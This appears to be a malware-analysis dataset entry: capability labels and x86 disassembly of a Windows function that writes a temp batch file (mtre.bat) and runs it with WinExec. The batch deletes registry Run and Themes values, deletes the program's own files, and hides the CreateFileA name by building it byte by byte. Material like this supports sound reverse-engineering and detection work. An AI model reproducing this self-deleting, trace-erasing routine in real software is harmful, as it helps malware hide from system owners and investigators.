Function at 0x10009220
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xb1c
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x329]
mov byte [esp + 0x328], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x1c]
push str.mtre.bat
push ecx
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x225]
mov byte [esp + 0x224], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100430f0]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x120]
push 0x104
push edx
push eax
call edi
lea ecx, [esp + 0x224]
push 0x104
push ecx
push ebx
call edi
mov edi, 0xa
lea edx, [esp + 0x328]
push str._echo_kjgneyuhghd__fsewawfrtretrcce.ajy_n_r
push edx
call esi
dec edi
jne 0x100092df
lea eax, [esp + 0x328]
push str._del_fsewawfrtretrcce.ajy_n_r
push eax
call esi
lea ecx, [esp + 0x328]
push str._SET_SLEEPpi
push ecx
call esi
lea edx, [esp + 0x328]
push str.ng_127.0.0.1__n_n_r
push edx
call esi
lea eax, [esp + 0x328]
push str._SLEEP__8___nul_n_r
push eax
call esi
lea ecx, [esp + 0x328]
push 0x100154b4
push ecx
call esi
lea edx, [esp + 0x328]
push 0x100154b0
push edx
call esi
lea eax, [esp + 0x224]
lea ecx, [esp + 0x328]
push eax
push ecx
call esi
lea edx, [esp + 0x328]
push 0x100154ac
push edx
call esi
lea eax, [esp + 0x328]
push 0x100154b4
push eax
call esi
lea ecx, [esp + 0x328]
push 0x100154b0
push ecx
call esi
lea edx, [esp + 0x120]
lea eax, [esp + 0x328]
push edx
push eax
call esi
lea ecx, [esp + 0x328]
push 0x100154a8
push ecx
call esi
lea edx, [esp + 0x328]
push str._reg_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun__v_Nw__f_n_r
push edx
call esi
lea eax, [esp + 0x328]
push str._reg_DELETE_DELETE_HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun__v_Nw__f_n_r
push eax
call esi
lea ecx, [esp + 0x328]
push str._reg_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionThemes__v_Remark__f_r_n
push ecx
call esi
lea edx, [esp + 0x328]
push str._reg_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionThemes__v_Group__f_r_n
push edx
call esi
lea eax, [esp + 0x328]
push str._reg_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionThemes__v_Config__f_r_n
push eax
call esi
lea ecx, [esp + 0x328]
push 0x100152cc
push ecx
call esi
lea edx, [esp + 0x328]
push str.el__
push edx
call esi
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x328]
push eax
push ecx
call esi
lea edx, [esp + 0x328]
push str.__n_r_exit
push edx
call esi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov cl, 0x65
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xe], cl
mov byte [esp + 0x11], cl
mov byte [esp + 0x15], cl
lea ecx, [esp + 0xc]
push ecx
push eax
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x69
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x41
mov byte [esp + 0x1f], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push 2
push ebx
push ebx
lea edx, [esp + 0x30]
push 0x40000000
push edx
call eax
mov esi, eax
lea eax, [esp + 0x18]
push ebx
push eax
lea ecx, [esp + 0x330]
push 0x800
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x1c]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0xb1c
ret